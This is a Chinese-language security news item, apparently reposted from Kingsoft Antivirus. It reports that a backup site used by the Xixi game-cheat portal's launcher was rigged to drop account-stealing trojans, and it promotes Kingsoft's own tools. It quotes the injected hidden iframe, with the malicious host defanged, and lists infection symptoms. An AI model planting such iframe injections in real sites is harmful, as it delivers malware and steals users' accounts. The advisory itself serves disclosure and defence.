站長(zhǎng)資訊網(wǎng) 金山毒霸安全實(shí)驗(yàn)室監(jiān)測(cè)6月17日消息，金山網(wǎng)盾云端數(shù)據(jù)突然監(jiān)測(cè)到西西游戲網(wǎng)的當(dāng)日外掛下載均報(bào)危險(xiǎn)。西西游戲網(wǎng)是深受外掛玩家歡迎的游戲外掛下載網(wǎng)站，外掛玩家出于對(duì)西西游戲網(wǎng)的信任，很可能認(rèn)為殺毒軟件誤報(bào)西西游戲網(wǎng)下載的外掛程序，若不幸中毒，可使用金山急救箱快速恢復(fù)系統(tǒng)，安裝了金山網(wǎng)盾的用戶將不會(huì)受害。
免費(fèi)下載金山網(wǎng)盾:http://www.duba.net/wangdun/
金山毒霸安全專家對(duì)西西游戲網(wǎng)的異常情況進(jìn)行了詳細(xì)檢查，結(jié)果發(fā)現(xiàn)是西西游戲網(wǎng)近日提供了一個(gè)西西游戲登錄器，這個(gè)登錄器的作用是在西西游戲網(wǎng)不能登錄時(shí)，使用登錄器訪問(wèn)備用網(wǎng)站。但很不幸，這個(gè)備用網(wǎng)站被入侵，或備用網(wǎng)站出于某些原因被人為植入木馬。當(dāng)外掛玩家訪問(wèn)備用網(wǎng)站時(shí)，會(huì)下載大量盜號(hào)木馬。安裝了金山網(wǎng)盾的玩家在打開(kāi)西西游戲登錄器訪問(wèn)到掛馬頁(yè)面時(shí)，金山網(wǎng)盾會(huì)立即彈出報(bào)警。
分析發(fā)現(xiàn)掛馬的方式是在正常頁(yè)面中插入<iframe src= hxxp://www.9966.org:8801/user/Zr02/index.html width=100 height=0></iframe>
其中hxxp://www.9966.org:8801/user/Zr02/index.html頁(yè)利用系統(tǒng)多個(gè)漏洞掛馬，訪問(wèn)時(shí)會(huì)下載大量盜號(hào)木馬，下圖中的js文件實(shí)際全部為PE文件（可執(zhí)行程序）。
若外掛玩家不慎中招，會(huì)發(fā)現(xiàn)系統(tǒng)速度變慢。在開(kāi)始、運(yùn)行，輸入%Temp%，會(huì)發(fā)現(xiàn)temp文件夾下出現(xiàn)大量隱藏屬性的DLL文件
訪問(wèn)西西游戲網(wǎng)不慎中毒之后，會(huì)在temp文件夾發(fā)現(xiàn)大量DLL病毒
中毒后的電腦會(huì)發(fā)現(xiàn)桌面快捷方式小箭頭不見(jiàn)了，這是病毒修改了桌面快捷方式的屬性。
查看被修改后的桌面快捷方式屬性，會(huì)發(fā)現(xiàn)對(duì)應(yīng)的打開(kāi)方式已被修改為wscript.exe
使用金山急救箱快速清除病毒，恢復(fù)被破壞的系統(tǒng)
金山毒霸反病毒專家指出，西西游戲網(wǎng)被掛馬的頁(yè)面已被管理員發(fā)現(xiàn)清除，目前尚無(wú)法得知這是網(wǎng)站被黑客入侵還是其它人為原因。金山安全專家提醒游戲玩家，特別是偏好使用外掛的游戲玩家務(wù)必小心，推薦安裝金山網(wǎng)盾攔截可能的威脅。
已經(jīng)不幸中招的外掛玩家，可以使用金山急救箱來(lái)清除病毒，修復(fù)被破壞的系統(tǒng)。
特別提醒：本網(wǎng)內(nèi)容轉(zhuǎn)載自其他媒體，目的在于傳遞更多信息，并不代表本網(wǎng)贊同其觀點(diǎn)。其原創(chuàng)性以及文中陳述文字和內(nèi)容未經(jīng)本站證實(shí)，對(duì)本文以及其中全部或者部分內(nèi)容、文字的真實(shí)性、完整性、及時(shí)性本站不作任何保證或承諾，并請(qǐng)自行核實(shí)相關(guān)內(nèi)容。本站不承擔(dān)此類作品侵權(quán)行為的直接責(zé)任及連帶責(zé)任。如若本網(wǎng)有任何內(nèi)容侵犯您的權(quán)益，請(qǐng)及時(shí)聯(lián)系我們，本站將會(huì)在24小時(shí)內(nèi)處理完畢。
